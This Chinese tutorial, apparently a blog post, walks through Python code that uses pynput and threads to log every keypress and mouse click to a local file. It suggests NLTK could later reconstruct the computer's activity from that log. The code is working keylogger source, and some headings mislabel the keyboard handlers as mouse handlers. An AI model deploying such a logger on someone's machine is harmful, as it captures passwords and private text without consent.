此项功能的实现主要是使用了多线程、键盘/鼠标事件监听,最后通过NLTK语言的处理,从而反向推出电脑的操作记录等信息。业务逻辑并不复杂,我们一起来看看吧!
安装相关的第三方库,一是关于监听的处理、二是关于日志的记录模块、三是关于简单的线程处理模块。
1、安装pynput库监控键盘、鼠标事件
2、安装日志处理
将相关的模块导入到代码块中。
# 鼠标键盘监控 from pynput import keyboard, mouse # 日志处理 from loguru import logger # 多线程处理 from threading import Thread
将目标日志记录文件加入到logger代码处理器中。
logger.add('lister.log')
编写鼠标被按下时的处理函数。
def on_keyboard_press(key): ''' 按键时记录所按下的键 :param key: :return: ''' logger.debug(f'{key} :被按下了')
编写鼠标抬起时的处理函数。
def on_keyboard_release(key): ''' 释放按键处理函数 :param key: :return: ''' if key == keyboard.Key.esc: return False
编写鼠标单击、右击以及滑轮的处理函数。
def on_mouse_click(x, y, click, pressed): if click == mouse.Button.left: logger.debug('鼠标左键按下了') elif click == mouse.Button.right: logger.debug('鼠标右键按下了') return False else: logger.debug('中间滚轮按下了')
将键盘相关的处理函数加入到键盘事件的监听中。
def func_keyboard(): ''' 键盘的按下/释放的监听 :return: ''' with keyboard.Listener(on_press=on_keyboard_press, on_release=on_keyboard_release) as keyboard_listener: keyboard_listener.join()
将鼠标相关的处理函数加入到鼠标事件的监听中。
def func_mouse_click(): ''' 监听鼠标 :return: ''' with mouse.Listener(on_click=on_mouse_click) as mouse_listener: mouse_listener.join()
在main()的处理函数中将鼠标监听、键盘监听分别作为两个线程启动。
if __name__ == '__main__': ''' 执行线程 ''' # 定义键盘监听线程 thread_keyboard = Thread(target=func_keyboard) # 定义鼠标监听线程 thread_mouse = Thread(target=func_mouse_click) # 分别启动线程 thread_keyboard.start() thread_mouse.start()
最后可以得到一份键盘、鼠标历史执行状态记录的日志文件,通过NLTK语言的处理从而逆向推出电脑的操作内容,这一部分就不演示了。